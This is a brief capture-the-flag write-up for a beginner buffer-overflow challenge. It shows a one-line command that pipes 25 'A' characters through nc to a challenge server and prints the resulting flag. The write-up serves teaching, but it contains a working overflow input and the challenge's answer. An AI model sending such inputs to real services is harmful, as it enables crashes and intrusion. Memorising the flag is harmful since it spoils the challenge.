

Overflow (Very Easy) - Pwn

Sunday, April 30, 2023

2:14 AM

Description

Can you overflow the buffer and get the flag?

Solution

Run the program.

Enter 25 A's or any other characters to trigger the segmentation fault and read the flag.

```
(kali㉿kali)-[~/.../rev/unused/reversing102_r2.0/challenge]
$ python3 -c 'print("A"*25)' | nc 159.223.192.150 9001
WELCOME TO THE PWN WORLD

Enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer overflow detected!

Here's your flag: NCC{y0ur_v3ry_f1rst_s3g_f4ult}
```

To solve for remote just replace the `./challenge` with `nc <ip> <port>`

Flag: NCC{y0ur_v3ry_f1rst_s3g_f4ult}